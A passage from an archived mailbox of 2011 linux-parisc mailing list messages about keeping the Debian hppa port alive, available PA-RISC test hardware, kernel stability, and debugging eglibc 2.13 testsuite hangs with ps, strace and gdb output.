    7 root      -2  19     0    0    0 S    8  0.0  80:50.10 rcuc0              
   37 root      -2  19     0    0    0 S    2  0.0  37:44.47 rcuc1              
   41 root      -2  19     0    0    0 S    0  0.0  26:39.63 rcuc2              
   45 root      -2  19     0    0    0 S    0  0.0  28:12.77 rcuc3              

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Tue, 31 May 2011 22:10:50 -0400
Organization: nrc.ca
Lines: 76
Approved: news@gmane.org
Message-ID: <20110601021049.GB3984@hiauly1.hia.nrc.ca>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306894262 4132 80.91.229.12 (1 Jun 2011 02:11:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 1 Jun 2011 02:11:02 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, dave.anglin@nrc-cnrc.gc.ca,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 01 04:10:57 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QRatb-0000HP-Uo
	for glpp-linux-parisc@lo.gmane.org; Wed, 01 Jun 2011 04:10:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758557Ab1FACKz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 May 2011 22:10:55 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4636 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758533Ab1FACKz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 May 2011 22:10:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0C3675012; Tue, 31 May 2011 22:10:51 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3764
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3764>

On Sat, 28 May 2011, Thibaut VARENE wrote:

> I'm willing to provide access to hardware (machines listed under
> "ESIEE testring" on http://www.fr.parisc-linux.org/cluster.html -
> which needs update btw as the cupertino testring is no more) for as
> long as it'll be usable with Debian. I have zero interest in Gentoo
> (essentially for technical and practical reasons which are outside the
> scope of this email) and will not migrate to it. That means that if
> debian(-ports)/hppa is no more and I have to reclaim some rackspace in
> the datacenter I manage, the parisc machines will likely be the first
> to go away... I'll let people know if/whenever this happens, so that
> pickups can be arranged if need be.

I personally think it is worth trying to work toward one last linux
3.x release for hppa.  This release would have to be installable via CD
or network.

The release would be based on current tools and a somewhat limited
application set, as it is clear that we don't have the person power
for a complete debian release.  As Carlos indicated, users can compile
from source if they need something special.  The focus would be server
oriented.

With this in mind, I think it best to consider how the available hardware
can be utilized to achieve this goal.  In addition, to the ESIEE testring,
I believe that HP made available a number of machines for running their
buildds process.  Dan can probably tell us what the current status is for
these machines.

I'm not sure what the status of the Cupertino machines is and whether
any of the distributed machines will be available for this purpose.

Unfortunately, I can't open the machines that I have at NRC because of
NRC IT security policies.  At the moment, most of the available cycles on
these machines is allocated to GCC testing.  Possibly, some GCC support
could be refocused to provide more support to a Debian release.

> BTW, I'm still running 2.6.22.19 on most these machines, and I've kind
> of lost track: do we have a known better kernel I could safely upgrade
> to?

For the rp3440, the answer is definitely yes.  Unfortunately, 2.6.39
stable doesn't have the pata_cmd64x patch needed for DVD drive, or
James' latest cache fix.  So, I moved on.

I think the random segfault issue present on pa8800 and pa8900 machines
is largely fixed in 3.0.0-rc1, but it is clear linux kernels are much like
wine.  I think USB support for the rp3440 is broken and causes HPMCs.
So, I have it disabled.

At this time, there is no released stable kernel that I consider reliable
on hppa.  However, most recent kernel releases work ok on UP machines.
Of course, my testing tends to be with CPU intensive applications.

I am convinced that the rapid development methodology used by linux isn't
suited to ports with limited support.  Ideally, we should pick the next
kernel designated for longterm support and patch it.

For your other machines, the cache issues are less severe because
they support non equivalent aliasing.  However, don't throw away 2.6.22.19
because udev-266 is broken without libc6-2.13.  Installing udev-266
without libc6-2.13 will crash your machine at boot if your kernel uses
udev.  USB support is broken without it, so recovery can be tricky.

I would say your other machines need updating even if the process is
somewhat rocky as that's the only way a broadbased release can be tested.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 2 Jun 2011 15:35:50 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20110602213549.GA21839@parisc-linux.org>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307050559 16032 80.91.229.12 (2 Jun 2011 21:35:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Jun 2011 21:35:59 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 02 23:35:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QSFYW-0008Ud-Fh
	for glpp-linux-parisc@lo.gmane.org; Thu, 02 Jun 2011 23:35:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754311Ab1FBVfw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Jun 2011 17:35:52 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:51552 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754775Ab1FBVfv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Jun 2011 17:35:51 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id 3CF8F494005; Thu,  2 Jun 2011 15:35:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110601021049.GB3984@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3765>

On Tue, May 31, 2011 at 10:10:50PM -0400, John David Anglin wrote:
...
> With this in mind, I think it best to consider how the available hardware
> can be utilized to achieve this goal.  In addition, to the ESIEE testring,
> I believe that HP made available a number of machines for running their
> buildds process.  Dan can probably tell us what the current status is for
> these machines.
> 
> I'm not sure what the status of the Cupertino machines is and whether
> any of the distributed machines will be available for this purpose.

Cupertino Test Ring is gone. The entire Cupertino site (multiple acres)
was sold to Apple. If someone can secure external network access at
HP Labs in Palo Alto, I can help build a new 'Test rack'.

> Unfortunately, I can't open the machines that I have at NRC because of
> NRC IT security policies.  At the moment, most of the available cycles on
> these machines is allocated to GCC testing.  Possibly, some GCC support
> could be refocused to provide more support to a Debian release.

As discussed off list a few months ago, HW salvaged from the Cupertino
Test Ring should be headed your way in the near future.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: eglibc_2.13-5 on hppa
Date: Tue, 7 Jun 2011 21:33:09 -0400
Organization: nrc.ca
Lines: 71
Approved: news@gmane.org
Message-ID: <20110608013308.GA15282@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307496798 12559 80.91.229.12 (8 Jun 2011 01:33:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Jun 2011 01:33:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 08 03:33:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QU7dx-0003wW-PV
	for glpp-linux-parisc@lo.gmane.org; Wed, 08 Jun 2011 03:33:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932745Ab1FHBdN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jun 2011 21:33:13 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1372 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932740Ab1FHBdM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jun 2011 21:33:12 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CE9F44D74; Tue,  7 Jun 2011 21:33:10 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3767
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3767>

What's the status of glibc?  In the testsuite, I seeing various
tests hang.  For example,

dave      2301  0.0  0.2  32912 25916 ?        S    13:31   0:03 apt-get --compile source libc6
dave      2458  0.0  0.0  32912  5112 ?        S    13:31   0:00  \_ apt-get --compile source libc6
dave      2817  0.0  0.0   1968   596 ?        S    13:32   0:00      \_ sh -c cd eglibc-2.13 && dpkg-buildpackage -b -uc
dave      2820  0.0  0.0   9164  5764 ?        S    13:32   0:00          \_ /usr/bin/perl /usr/bin/dpkg-buildpackage -b -uc
dave      3206  0.0  0.0   3836  1208 ?        S    13:32   0:02              \_ /usr/bin/make -f debian/rules build
dave     27678  0.0  0.0   4484  1396 ?        S    17:52   0:00                  \_ /bin/bash -e -c set -e ; \?if [ -n "" ]; then \?  echo "Tests have been disabled via DEB_BUILD_OPTIONS." | tee bu
dave     27689  0.0  0.0   2184   896 ?        S    17:52   0:00                      \_ /usr/bin/make -C build-tree/hppa-libc -k check
dave     27692  0.0  0.0   1968   596 ?        S    17:52   0:00                      |   \_ /bin/sh -c /usr/bin/make -r PARALLELMFLAGS="" CVSOPTS="" -C /home/dave/debian/glibc/eglibc-2.13 objdir=`p
dave     27695  0.0  0.0   4752  3320 ?        S    17:52   0:04                      |       \_ /usr/bin/make -r PARALLELMFLAGS= CVSOPTS= -C /home/dave/debian/glibc/eglibc-2.13 objdir=/home/dave/de
dave       301  1.5  0.0   5680  4288 ?        S    20:35   0:15                      |           \_ /usr/bin/make subdir=rt -C rt ..=../ tests
dave      8664  0.0  0.0   2956  1156 ?        S    20:49   0:00                      |               \_ /bin/bash -c GCONV_PATH=/home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/iconvdata LC
dave      8666  0.0  0.0   1920   396 ?        S    20:49   0:00                      |                   \_ /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/elf/ld.so.1 --library-path /home
dave      8667  100  0.0  34836   588 ?        Sl   20:49   2:09                      |                       \_ /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/elf/ld.so.1 --library-path /
dave     27690  0.0  0.0   3376   616 ?        S    17:52   0:01                      \_ tee build-tree/log-test-hppa-linux-gnu-libc

dave@mx3210:~/debian/glibc$ strace -p 8667
Process 8667 attached - interrupt to quit
futex(0x143d8, FUTEX_WAIT_PRIVATE, 3, NULL^C <unfinished ...>
Process 8667 detached
dave@mx3210:~/debian/glibc$ gdb /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/elf/ld.so.1 8667
GNU gdb (GDB) 7.2-debian
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/elf/ld.so.1...done.
Attaching to program: /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/elf/ld.so.1, process 8667
Reading symbols from /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/rt/librt.so.1...done.
Loaded symbols for /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/rt/librt.so.1
Reading symbols from /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/nptl/libpthread.so.0...done.

warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Loaded symbols for /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/nptl/libpthread.so.0
Reading symbols from /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/libc.so.6...done.

warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Loaded symbols for /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/libc.so.6
Loaded symbols for /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/elf/ld.so.1
0x40099b28 in __pthread_cond_wait_internal (cond=0x143d0, mutex=0x143a0) at ../nptl/pthread_cond_wait.c:153
153	      lll_futex_wait (&cond->__data.__futex, futex_val, pshared);
(gdb) x/x 0x143d8
0x143d8:	0x00000003
(gdb) p pshared
$1 = 0
(gdb) info threads
* 1 process 8667  0x40099b28 in __pthread_cond_wait_internal (cond=0x143d0, mutex=0x143a0) at ../nptl/pthread_cond_wait.c:153
(gdb) bt
#0  0x40099b28 in __pthread_cond_wait_internal (cond=0x143d0, mutex=0x143a0) at ../nptl/pthread_cond_wait.c:153
#1  0x40099ee4 in __pthread_cond_wait (cond=0x143d0, mutex=0x143a0) at ../ports/sysdeps/unix/sysv/linux/hppa/nptl/pthread_cond_wait.c:34

The "l" in the ps faux output indicates a multi-threaded process using
CLONE_THREAD, but gdb only sees one thread.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eglibc_2.13-5 on hppa
Date: Wed, 8 Jun 2011 09:21:44 -0400
Lines: 80
Approved: news@gmane.org
Message-ID: <BANLkTi=iXdMa2Vmv6-S2TPZCTp-S-G5z7Q@mail.gmail.com>
References: <20110608013308.GA15282@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1307539321 24036 80.91.229.12 (8 Jun 2011 13:22:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Jun 2011 13:22:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 08 15:21:57 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QUIho-0002Sa-RG
	for glpp-linux-parisc@lo.gmane.org; Wed, 08 Jun 2011 15:21:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755562Ab1FHNVs convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jun 2011 09:21:48 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:43678 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755208Ab1FHNVq convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jun 2011 09:21:46 -0400
Original-Received: by bwz15 with SMTP id 15so408524bwz.19
        for <linux-parisc@vger.kernel.org>; Wed, 08 Jun 2011 06:21:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=W3ltaiIfpjeLcpU0505KlZu9yF8eMzE9pZPlpXcC0qQ=;
        b=csyV1wU+EKZjN7AYO8EIhBzcxdtKt3ZI3Bi+5eqxt/ok6FA3s6QGrWCx7Np+h+FUGp
         Oer+YYv4Y886Kr+NiDDKlapT7MpuA1F7KH0p2TN/MrZtEe1kw1HkQwcTCq1Qp36bJ56+
         DBjnC4OQQLK5ssdAYgvQLW0tTi7pnrPpkY+3I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=tZ5CxL1YAdaNBCo8/0juX2qg7Dm96nBsKRBnKVUk/+uPStHNbiZZzfl6l3IwYUpXGz
         iLyAc0m5/gktvpRO+U34kcWfE0R7lc/oQgNOdLp7SSbTl9zLDqyNktgL8aIWa0yihKUv
         NsbS4LYV7q9seHI9TuQ/do6JSLHmQh9C3U7fE=
Original-Received: by 10.204.8.72 with SMTP id g8mr291530bkg.103.1307539304547; Wed, 08
 Jun 2011 06:21:44 -0700 (PDT)
Original-Received: by 10.204.37.200 with HTTP; Wed, 8 Jun 2011 06:21:44 -0700 (PDT)
In-Reply-To: <20110608013308.GA15282@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: rayAOuyvdirkoEgvAPm66arcOl4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3768>

On Tue, Jun 7, 2011 at 9:33 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> What's the status of glibc? =A0In the testsuite, I seeing various
> tests hang. =A0For example,

AFAIK glibc 2.14 is stable and just released, but has some testsuite fa=
ilures.

glibc 2.15 is in development and I'll be looking at it next week.

> dave =A0 =A0 =A02301 =A00.0 =A00.2 =A032912 25916 ? =A0 =A0 =A0 =A0S =
=A0 =A013:31 =A0 0:03 apt-get --compile source libc6
> dave =A0 =A0 =A02458 =A00.0 =A00.0 =A032912 =A05112 ? =A0 =A0 =A0 =A0=
S =A0 =A013:31 =A0 0:00 =A0\_ apt-get --compile source libc6
> dave =A0 =A0 =A02817 =A00.0 =A00.0 =A0 1968 =A0 596 ? =A0 =A0 =A0 =A0=
S =A0 =A013:32 =A0 0:00 =A0 =A0 =A0\_ sh -c cd eglibc-2.13 && dpkg-buil=
dpackage -b -uc
> dave =A0 =A0 =A02820 =A00.0 =A00.0 =A0 9164 =A05764 ? =A0 =A0 =A0 =A0=
S =A0 =A013:32 =A0 0:00 =A0 =A0 =A0 =A0 =A0\_ /usr/bin/perl /usr/bin/dp=
kg-buildpackage -b -uc
> dave =A0 =A0 =A03206 =A00.0 =A00.0 =A0 3836 =A01208 ? =A0 =A0 =A0 =A0=
S =A0 =A013:32 =A0 0:02 =A0 =A0 =A0 =A0 =A0 =A0 =A0\_ /usr/bin/make -f =
debian/rules build
> dave =A0 =A0 27678 =A00.0 =A00.0 =A0 4484 =A01396 ? =A0 =A0 =A0 =A0S =
=A0 =A017:52 =A0 0:00 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\_ /bin/bash -=
e -c set -e ; \?if [ -n "" ]; then \? =A0echo "Tests have been disabled=
 via DEB_BUILD_OPTIONS." | tee bu
> dave =A0 =A0 27689 =A00.0 =A00.0 =A0 2184 =A0 896 ? =A0 =A0 =A0 =A0S =
=A0 =A017:52 =A0 0:00 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\_ /us=
r/bin/make -C build-tree/hppa-libc -k check
> dave =A0 =A0 27692 =A00.0 =A00.0 =A0 1968 =A0 596 ? =A0 =A0 =A0 =A0S =
=A0 =A017:52 =A0 0:00 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =
\_ /bin/sh -c /usr/bin/make -r PARALLELMFLAGS=3D"" CVSOPTS=3D"" -C /hom=
e/dave/debian/glibc/eglibc-2.13 objdir=3D`p
> dave =A0 =A0 27695 =A00.0 =A00.0 =A0 4752 =A03320 ? =A0 =A0 =A0 =A0S =
=A0 =A017:52 =A0 0:04 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =
=A0 =A0 \_ /usr/bin/make -r PARALLELMFLAGS=3D CVSOPTS=3D -C /home/dave/=
debian/glibc/eglibc-2.13 objdir=3D/home/dave/de
> dave =A0 =A0 =A0 301 =A01.5 =A00.0 =A0 5680 =A04288 ? =A0 =A0 =A0 =A0=
S =A0 =A020:35 =A0 0:15 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0=
 =A0 =A0 =A0 =A0 \_ /usr/bin/make subdir=3Drt -C rt ..=3D../ tests
> dave =A0 =A0 =A08664 =A00.0 =A00.0 =A0 2956 =A01156 ? =A0 =A0 =A0 =A0=
S =A0 =A020:49 =A0 0:00 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 \_ /bin/bash -c GCONV_PATH=3D/home/dave/debian=
/glibc/eglibc-2.13/build-tree/hppa-libc/iconvdata LC
> dave =A0 =A0 =A08666 =A00.0 =A00.0 =A0 1920 =A0 396 ? =A0 =A0 =A0 =A0=
S =A0 =A020:49 =A0 0:00 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \_ /home/dave/debian/glibc/eglibc-2.13=
/build-tree/hppa-libc/elf/ld.so.1 --library-path /home
> dave =A0 =A0 =A08667 =A0100 =A00.0 =A034836 =A0 588 ? =A0 =A0 =A0 =A0=
Sl =A0 20:49 =A0 2:09 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \_ /home/dave/debian/glibc/egli=
bc-2.13/build-tree/hppa-libc/elf/ld.so.1 --library-path /
> dave =A0 =A0 27690 =A00.0 =A00.0 =A0 3376 =A0 616 ? =A0 =A0 =A0 =A0S =
=A0 =A017:52 =A0 0:01 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\_ tee=
 build-tree/log-test-hppa-linux-gnu-libc

I never see any testsuite hangs on my a500 (vanilla 2.6.33).

I have a pile of free time next week and I hope to dedicate some time
to cleaning up the glibc testsuite.

> Thoughts?

Yes, the "warning: Unable to find libthread_db matching inferior's
thread library, thread debugging will not be available." means you
can't debug threads until you preload the new libc's
libthread_db.so.1.

You must always use the libthread_db.so.1 that matches your threading l=
ibrary.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eglibc_2.13-5 on hppa
Date: Wed, 8 Jun 2011 12:20:29 -0400
Organization: nrc.ca
Lines: 117
Approved: news@gmane.org
Message-ID: <20110608162029.GB12658@hiauly1.hia.nrc.ca>
References: <20110608013308.GA15282@hiauly1.hia.nrc.ca> <BANLkTi=iXdMa2Vmv6-S2TPZCTp-S-G5z7Q@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="E39vaYmALEf/7YXx"
Content-Transfer-Encoding: 8bit
X-Trace: dough.gmane.org 1307550042 31325 80.91.229.12 (8 Jun 2011 16:20:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Jun 2011 16:20:42 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 08 18:20:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QULUj-0002qF-2O
	for glpp-linux-parisc@lo.gmane.org; Wed, 08 Jun 2011 18:20:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751192Ab1FHQUc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jun 2011 12:20:32 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1788 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751033Ab1FHQUc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jun 2011 12:20:32 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
